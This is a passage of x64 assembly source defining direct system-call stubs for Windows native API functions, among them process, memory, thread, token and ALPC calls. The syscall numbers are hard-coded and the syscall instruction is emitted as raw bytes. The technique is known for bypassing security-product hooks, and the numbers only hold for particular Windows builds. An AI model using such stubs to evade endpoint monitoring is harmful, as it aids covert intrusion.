__stdcall NtOpenThreadToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtOpenThreadToken PROC STDCALL mov r10 , rcx mov eax , 36 ;syscall db 0Fh , 05h ret NtOpenThreadToken ENDP ; ULONG64 __stdcall NtQueryInformationThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryInformationThread PROC STDCALL mov r10 , rcx mov eax , 37 ;syscall db 0Fh , 05h ret NtQueryInformationThread ENDP ; ULONG64 __stdcall NtOpenProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtOpenProcess PROC STDCALL mov r10 , rcx mov eax , 38 ;syscall db 0Fh , 05h ret NtOpenProcess ENDP ; ULONG64 __stdcall NtSetInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtSetInformationFile PROC STDCALL mov r10 , rcx mov eax , 39 ;syscall db 0Fh , 05h ret NtSetInformationFile ENDP ; ULONG64 __stdcall NtMapViewOfSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); NtMapViewOfSection PROC STDCALL mov r10 , rcx mov eax , 40 ;syscall db 0Fh , 05h ret NtMapViewOfSection ENDP ; ULONG64 __stdcall NtAccessCheckAndAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); NtAccessCheckAndAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 41 ;syscall db 0Fh , 05h ret NtAccessCheckAndAuditAlarm ENDP ; ULONG64 __stdcall NtUnmapViewOfSection( ULONG64 arg_01 , ULONG64 arg_02 ); NtUnmapViewOfSection PROC STDCALL mov r10 , rcx mov eax , 42 ;syscall db 0Fh , 05h ret NtUnmapViewOfSection ENDP ; ULONG64 __stdcall NtReplyWaitReceivePortEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtReplyWaitReceivePortEx PROC STDCALL mov r10 , rcx mov eax , 43 ;syscall db 0Fh , 05h ret NtReplyWaitReceivePortEx ENDP ; ULONG64 __stdcall NtTerminateProcess( ULONG64 arg_01 , ULONG64 arg_02 ); NtTerminateProcess PROC STDCALL mov r10 , rcx mov eax , 44 ;syscall db 0Fh , 05h ret NtTerminateProcess ENDP ; ULONG64 __stdcall NtSetEventBoostPriority( ULONG64 arg_01 ); NtSetEventBoostPriority PROC STDCALL mov r10 , rcx mov eax , 45 ;syscall db 0Fh , 05h ret NtSetEventBoostPriority ENDP ; ULONG64 __stdcall NtReadFileScatter( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtReadFileScatter PROC STDCALL mov r10 , rcx mov eax , 46 ;syscall db 0Fh , 05h ret NtReadFileScatter ENDP ; ULONG64 __stdcall NtOpenThreadTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtOpenThreadTokenEx PROC STDCALL mov r10 , rcx mov eax , 47 ;syscall db 0Fh , 05h ret NtOpenThreadTokenEx ENDP ; ULONG64 __stdcall NtOpenProcessTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtOpenProcessTokenEx PROC STDCALL mov r10 , rcx mov eax , 48 ;syscall db 0Fh , 05h ret NtOpenProcessTokenEx ENDP ; ULONG64 __stdcall NtQueryPerformanceCounter( ULONG64 arg_01 , ULONG64 arg_02 ); NtQueryPerformanceCounter PROC STDCALL mov r10 , rcx mov eax , 49 ;syscall db 0Fh , 05h ret NtQueryPerformanceCounter ENDP ; ULONG64 __stdcall NtEnumerateKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtEnumerateKey PROC STDCALL mov r10 , rcx mov eax , 50 ;syscall db 0Fh , 05h ret NtEnumerateKey ENDP ; ULONG64 __stdcall NtOpenFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtOpenFile PROC STDCALL mov r10 , rcx mov eax , 51 ;syscall db 0Fh , 05h ret NtOpenFile ENDP ; ULONG64 __stdcall NtDelayExecution( ULONG64 arg_01 , ULONG64 arg_02 ); NtDelayExecution PROC STDCALL mov r10 , rcx mov eax , 52 ;syscall db 0Fh , 05h ret NtDelayExecution ENDP ; ULONG64 __stdcall NtQueryDirectoryFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); NtQueryDirectoryFile PROC STDCALL mov r10 , rcx mov eax , 53 ;syscall db 0Fh , 05h ret NtQueryDirectoryFile ENDP ; ULONG64 __stdcall NtQuerySystemInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtQuerySystemInformation PROC STDCALL mov r10 , rcx mov eax , 54 ;syscall db 0Fh , 05h ret NtQuerySystemInformation ENDP ; ULONG64 __stdcall NtOpenSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenSection PROC STDCALL mov r10 , rcx mov eax , 55 ;syscall db 0Fh , 05h ret NtOpenSection ENDP ; ULONG64 __stdcall NtQueryTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryTimer PROC STDCALL mov r10 , rcx mov eax , 56 ;syscall db 0Fh , 05h ret NtQueryTimer ENDP ; ULONG64 __stdcall NtFsControlFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); NtFsControlFile PROC STDCALL mov r10 , rcx mov eax , 57 ;syscall db 0Fh , 05h ret NtFsControlFile ENDP ; ULONG64 __stdcall NtWriteVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtWriteVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 58 ;syscall db 0Fh , 05h ret NtWriteVirtualMemory ENDP ; ULONG64 __stdcall NtCloseObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtCloseObjectAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 59 ;syscall db 0Fh , 05h ret NtCloseObjectAuditAlarm ENDP ; ULONG64 __stdcall NtDuplicateObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); NtDuplicateObject PROC STDCALL mov r10 , rcx mov eax , 60 ;syscall db 0Fh , 05h ret NtDuplicateObject ENDP ; ULONG64 __stdcall NtQueryAttributesFile( ULONG64 arg_01 , ULONG64 arg_02 ); NtQueryAttributesFile PROC STDCALL mov r10 , rcx mov eax , 61 ;syscall db 0Fh , 05h ret NtQueryAttributesFile ENDP ; ULONG64 __stdcall NtClearEvent( ULONG64 arg_01 ); NtClearEvent PROC STDCALL mov r10 , rcx mov eax , 62 ;syscall db 0Fh , 05h ret NtClearEvent ENDP ; ULONG64 __stdcall NtReadVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtReadVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 63 ;syscall db 0Fh , 05h ret NtReadVirtualMemory ENDP ; ULONG64 __stdcall NtOpenEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenEvent PROC STDCALL mov r10 , rcx mov eax , 64 ;syscall db 0Fh , 05h ret NtOpenEvent ENDP ; ULONG64 __stdcall NtAdjustPrivilegesToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtAdjustPrivilegesToken PROC STDCALL mov r10 , rcx mov eax , 65 ;syscall db 0Fh , 05h ret NtAdjustPrivilegesToken ENDP ; ULONG64 __stdcall NtDuplicateToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtDuplicateToken PROC STDCALL mov r10 , rcx mov eax , 66 ;syscall db 0Fh , 05h ret NtDuplicateToken ENDP ; ULONG64 __stdcall NtContinue( ULONG64 arg_01 , ULONG64 arg_02 ); NtContinue PROC STDCALL mov r10 , rcx mov eax , 67 ;syscall db 0Fh , 05h ret NtContinue ENDP ; ULONG64 __stdcall NtQueryDefaultUILanguage( ULONG64 arg_01 ); NtQueryDefaultUILanguage PROC STDCALL mov r10 , rcx mov eax , 68 ;syscall db 0Fh , 05h ret NtQueryDefaultUILanguage ENDP ; ULONG64 __stdcall NtQueueApcThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueueApcThread PROC STDCALL mov r10 , rcx mov eax , 69 ;syscall db 0Fh , 05h ret NtQueueApcThread ENDP ; ULONG64 __stdcall NtYieldExecution( ); NtYieldExecution PROC STDCALL mov r10 , rcx mov eax , 70 ;syscall db 0Fh , 05h ret NtYieldExecution ENDP ; ULONG64 __stdcall NtAddAtom( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAddAtom PROC STDCALL mov r10 , rcx mov eax , 71 ;syscall db 0Fh , 05h ret NtAddAtom ENDP ; ULONG64 __stdcall NtCreateEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtCreateEvent PROC STDCALL mov r10 , rcx mov eax , 72 ;syscall db 0Fh , 05h ret NtCreateEvent ENDP ; ULONG64 __stdcall NtQueryVolumeInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryVolumeInformationFile PROC STDCALL mov r10 , rcx mov eax , 73 ;syscall db 0Fh , 05h ret NtQueryVolumeInformationFile ENDP ; ULONG64 __stdcall NtCreateSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); NtCreateSection PROC STDCALL mov r10 , rcx mov eax , 74 ;syscall db 0Fh , 05h ret NtCreateSection ENDP ; ULONG64 __stdcall NtFlushBuffersFile( ULONG64 arg_01 , ULONG64 arg_02 ); NtFlushBuffersFile PROC STDCALL mov r10 , rcx mov eax , 75 ;syscall db 0Fh , 05h ret NtFlushBuffersFile ENDP ; ULONG64 __stdcall NtApphelpCacheControl( ULONG64 arg_01 , ULONG64 arg_02 ); NtApphelpCacheControl PROC STDCALL mov r10 , rcx mov eax , 76 ;syscall db 0Fh , 05h ret NtApphelpCacheControl ENDP ; ULONG64 __stdcall NtCreateProcessEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtCreateProcessEx PROC STDCALL mov r10 , rcx mov eax , 77 ;syscall db 0Fh , 05h ret NtCreateProcessEx ENDP ; ULONG64 __stdcall NtCreateThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); NtCreateThread PROC STDCALL mov r10 , rcx mov eax , 78 ;syscall db 0Fh , 05h ret NtCreateThread ENDP ; ULONG64 __stdcall NtIsProcessInJob( ULONG64 arg_01 , ULONG64 arg_02 ); NtIsProcessInJob PROC STDCALL mov r10 , rcx mov eax , 79 ;syscall db 0Fh , 05h ret NtIsProcessInJob ENDP ; ULONG64 __stdcall NtProtectVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtProtectVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 80 ;syscall db 0Fh , 05h ret NtProtectVirtualMemory ENDP ; ULONG64 __stdcall NtQuerySection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQuerySection PROC STDCALL mov r10 , rcx mov eax , 81 ;syscall db 0Fh , 05h ret NtQuerySection ENDP ; ULONG64 __stdcall NtResumeThread( ULONG64 arg_01 , ULONG64 arg_02 ); NtResumeThread PROC STDCALL mov r10 , rcx mov eax , 82 ;syscall db 0Fh , 05h ret NtResumeThread ENDP ; ULONG64 __stdcall NtTerminateThread( ULONG64 arg_01 , ULONG64 arg_02 ); NtTerminateThread PROC STDCALL mov r10 , rcx mov eax , 83 ;syscall db 0Fh , 05h ret NtTerminateThread ENDP ; ULONG64 __stdcall NtReadRequestData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtReadRequestData PROC STDCALL mov r10 , rcx mov eax , 84 ;syscall db 0Fh , 05h ret NtReadRequestData ENDP ; ULONG64 __stdcall NtCreateFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); NtCreateFile PROC STDCALL mov r10 , rcx mov eax , 85 ;syscall db 0Fh , 05h ret NtCreateFile ENDP ; ULONG64 __stdcall NtQueryEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryEvent PROC STDCALL mov r10 , rcx mov eax , 86 ;syscall db 0Fh , 05h ret NtQueryEvent ENDP ; ULONG64 __stdcall NtWriteRequestData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtWriteRequestData PROC STDCALL mov r10 , rcx mov eax , 87 ;syscall db 0Fh , 05h ret NtWriteRequestData ENDP ; ULONG64 __stdcall NtOpenDirectoryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenDirectoryObject PROC STDCALL mov r10 , rcx mov eax , 88 ;syscall db 0Fh , 05h ret NtOpenDirectoryObject ENDP ; ULONG64 __stdcall NtAccessCheckByTypeAndAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 ); NtAccessCheckByTypeAndAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 89 ;syscall db 0Fh , 05h ret NtAccessCheckByTypeAndAuditAlarm ENDP ; ULONG64 __stdcall NtQuerySystemTime( ULONG64 arg_01 ); NtQuerySystemTime PROC STDCALL mov r10 , rcx mov eax , 90 ;syscall db 0Fh , 05h ret NtQuerySystemTime ENDP ; ULONG64 __stdcall NtWaitForMultipleObjects( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtWaitForMultipleObjects PROC STDCALL mov r10 , rcx mov eax , 91 ;syscall db 0Fh , 05h ret NtWaitForMultipleObjects ENDP ; ULONG64 __stdcall NtSetInformationObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetInformationObject PROC STDCALL mov r10 , rcx mov eax , 92 ;syscall db 0Fh , 05h ret NtSetInformationObject ENDP ; ULONG64 __stdcall NtCancelIoFile( ULONG64 arg_01 , ULONG64 arg_02 ); NtCancelIoFile PROC STDCALL mov r10 , rcx mov eax , 93 ;syscall db 0Fh , 05h ret NtCancelIoFile ENDP ; ULONG64 __stdcall NtTraceEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtTraceEvent PROC STDCALL mov r10 , rcx mov eax , 94 ;syscall db 0Fh , 05h ret NtTraceEvent ENDP ; ULONG64 __stdcall NtPowerInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtPowerInformation PROC STDCALL mov r10 , rcx mov eax , 95 ;syscall db 0Fh , 05h ret NtPowerInformation ENDP ; ULONG64 __stdcall NtSetValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtSetValueKey PROC STDCALL mov r10 , rcx mov eax , 96 ;syscall db 0Fh , 05h ret NtSetValueKey ENDP ; ULONG64 __stdcall NtCancelTimer( ULONG64 arg_01 , ULONG64 arg_02 ); NtCancelTimer PROC STDCALL mov r10 , rcx mov eax , 97 ;syscall db 0Fh , 05h ret NtCancelTimer ENDP ; ULONG64 __stdcall NtSetTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); NtSetTimer PROC STDCALL mov r10 , rcx mov eax , 98 ;syscall db 0Fh , 05h ret NtSetTimer ENDP ; ULONG64 __stdcall NtAccessCheckByType( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); NtAccessCheckByType PROC STDCALL mov r10 , rcx mov eax , 99 ;syscall db 0Fh , 05h ret NtAccessCheckByType ENDP ; ULONG64 __stdcall NtAccessCheckByTypeResultList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); NtAccessCheckByTypeResultList PROC STDCALL mov r10 , rcx mov eax , 100 ;syscall db 0Fh , 05h ret NtAccessCheckByTypeResultList ENDP ; ULONG64 __stdcall NtAccessCheckByTypeResultListAndAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 ); NtAccessCheckByTypeResultListAndAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 101 ;syscall db 0Fh , 05h ret NtAccessCheckByTypeResultListAndAuditAlarm ENDP ; ULONG64 __stdcall NtAccessCheckByTypeResultListAndAuditAlarmByHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 , ULONG64 arg_17 ); NtAccessCheckByTypeResultListAndAuditAlarmByHandle PROC STDCALL mov r10 , rcx mov eax , 102 ;syscall db 0Fh , 05h ret NtAccessCheckByTypeResultListAndAuditAlarmByHandle ENDP ; ULONG64 __stdcall NtAddAtomEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtAddAtomEx PROC STDCALL mov r10 , rcx mov eax , 103 ;syscall db 0Fh , 05h ret NtAddAtomEx ENDP ; ULONG64 __stdcall NtAddBootEntry( ULONG64 arg_01 , ULONG64 arg_02 ); NtAddBootEntry PROC STDCALL mov r10 , rcx mov eax , 104 ;syscall db 0Fh , 05h ret NtAddBootEntry ENDP ; ULONG64 __stdcall NtAddDriverEntry( ULONG64 arg_01 , ULONG64 arg_02 ); NtAddDriverEntry PROC STDCALL mov r10 , rcx mov eax , 105 ;syscall db 0Fh , 05h ret NtAddDriverEntry ENDP ; ULONG64 __stdcall NtAdjustGroupsToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtAdjustGroupsToken PROC STDCALL mov r10 , rcx mov eax , 106 ;syscall db 0Fh , 05h ret NtAdjustGroupsToken ENDP ; ULONG64 __stdcall NtAdjustTokenClaimsAndDeviceGroups( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 ); NtAdjustTokenClaimsAndDeviceGroups PROC STDCALL mov r10 , rcx mov eax , 107 ;syscall db 0Fh , 05h ret NtAdjustTokenClaimsAndDeviceGroups ENDP ; ULONG64 __stdcall NtAlertResumeThread( ULONG64 arg_01 , ULONG64 arg_02 ); NtAlertResumeThread PROC STDCALL mov r10 , rcx mov eax , 108 ;syscall db 0Fh , 05h ret NtAlertResumeThread ENDP ; ULONG64 __stdcall NtAlertThread( ULONG64 arg_01 ); NtAlertThread PROC STDCALL mov r10 , rcx mov eax , 109 ;syscall db 0Fh , 05h ret NtAlertThread ENDP ; ULONG64 __stdcall NtAlertThreadByThreadId( ULONG64 arg_01 ); NtAlertThreadByThreadId PROC STDCALL mov r10 , rcx mov eax , 110 ;syscall db 0Fh , 05h ret NtAlertThreadByThreadId ENDP ; ULONG64 __stdcall NtAllocateLocallyUniqueId( ULONG64 arg_01 ); NtAllocateLocallyUniqueId PROC STDCALL mov r10 , rcx mov eax , 111 ;syscall db 0Fh , 05h ret NtAllocateLocallyUniqueId ENDP ; ULONG64 __stdcall NtAllocateReserveObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAllocateReserveObject PROC STDCALL mov r10 , rcx mov eax , 112 ;syscall db 0Fh , 05h ret NtAllocateReserveObject ENDP ; ULONG64 __stdcall NtAllocateUserPhysicalPages( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAllocateUserPhysicalPages PROC STDCALL mov r10 , rcx mov eax , 113 ;syscall db 0Fh , 05h ret NtAllocateUserPhysicalPages ENDP ; ULONG64 __stdcall NtAllocateUuids( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtAllocateUuids PROC STDCALL mov r10 , rcx mov eax , 114 ;syscall db 0Fh , 05h ret NtAllocateUuids ENDP ; ULONG64 __stdcall NtAlpcAcceptConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtAlpcAcceptConnectPort PROC STDCALL mov r10 , rcx mov eax , 115 ;syscall db 0Fh , 05h ret NtAlpcAcceptConnectPort ENDP ; ULONG64 __stdcall NtAlpcCancelMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAlpcCancelMessage PROC STDCALL mov r10 , rcx mov eax , 116 ;syscall db 0Fh , 05h ret NtAlpcCancelMessage ENDP ; ULONG64 __stdcall NtAlpcConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); NtAlpcConnectPort PROC STDCALL mov r10 , rcx mov eax , 117 ;syscall db 0Fh , 05h ret NtAlpcConnectPort ENDP ; ULONG64 __stdcall NtAlpcConnectPortEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); NtAlpcConnectPortEx PROC STDCALL mov r10 , rcx mov eax , 118 ;syscall db 0Fh , 05h ret NtAlpcConnectPortEx ENDP ; ULONG64 __stdcall NtAlpcCreatePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAlpcCreatePort PROC STDCALL mov r10 , rcx mov eax , 119 ;syscall db 0Fh , 05h ret NtAlpcCreatePort ENDP ; ULONG64 __stdcall NtAlpcCreatePortSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtAlpcCreatePortSection PROC STDCALL mov r10 , rcx mov eax , 120 ;syscall db 0Fh , 05h ret NtAlpcCreatePortSection ENDP ; ULONG64 __stdcall NtAlpcCreateResourceReserve( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtAlpcCreateResourceReserve PROC STDCALL mov r10 , rcx mov eax , 121 ;syscall db 0Fh , 05h ret NtAlpcCreateResourceReserve ENDP ; ULONG64 __stdcall NtAlpcCreateSectionView( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAlpcCreateSectionView PROC STDCALL mov r10 , rcx mov eax , 122 ;syscall db 0Fh , 05h ret NtAlpcCreateSectionView ENDP ; ULONG64 __stdcall NtAlpcCreateSecurityContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAlpcCreateSecurityContext PROC STDCALL mov r10 , rcx mov eax , 123 ;syscall db 0Fh , 05h ret NtAlpcCreateSecurityContext ENDP ; ULONG64 __stdcall NtAlpcDeletePortSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAlpcDeletePortSection PROC STDCALL mov r10 , rcx mov eax , 124 ;syscall db 0Fh , 05h ret NtAlpcDeletePortSection ENDP ; ULONG64 __stdcall NtAlpcDeleteResourceReserve( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAlpcDeleteResourceReserve PROC STDCALL mov r10 , rcx mov eax , 125 ;syscall db 0Fh , 05h ret NtAlpcDeleteResourceReserve ENDP ; ULONG64 __stdcall NtAlpcDeleteSectionView( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAlpcDeleteSectionView PROC STDCALL mov r10 , rcx mov eax , 126 ;syscall db 0Fh , 05h ret NtAlpcDeleteSectionView ENDP ; ULONG64 __stdcall NtAlpcDeleteSecurityContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAlpcDeleteSecurityContext PROC STDCALL mov r10 , rcx mov eax , 127 ;syscall db 0Fh , 05h ret NtAlpcDeleteSecurityContext ENDP ; ULONG64 __stdcall NtAlpcDisconnectPort( ULONG64 arg_01 , ULONG64 arg_02 ); NtAlpcDisconnectPort PROC STDCALL mov r10 , rcx mov eax , 128 ;syscall db 0Fh , 05h ret NtAlpcDisconnectPort ENDP ; ULONG64 __stdcall NtAlpcImpersonateClientContainerOfPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAlpcImpersonateClientContainerOfPort PROC STDCALL mov r10 , rcx mov eax , 129 ;syscall db 0Fh , 05h ret NtAlpcImpersonateClientContainerOfPort ENDP ; ULONG64 __stdcall NtAlpcImpersonateClientOfPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAlpcImpersonateClientOfPort PROC STDCALL mov r10 , rcx mov eax , 130 ;syscall db 0Fh , 05h ret NtAlpcImpersonateClientOfPort ENDP ; ULONG64 __stdcall NtAlpcOpenSenderProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtAlpcOpenSenderProcess PROC STDCALL mov r10 , rcx mov eax , 131 ;syscall db 0Fh , 05h ret NtAlpcOpenSenderProcess ENDP ; ULONG64 __stdcall NtAlpcOpenSenderThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtAlpcOpenSenderThread 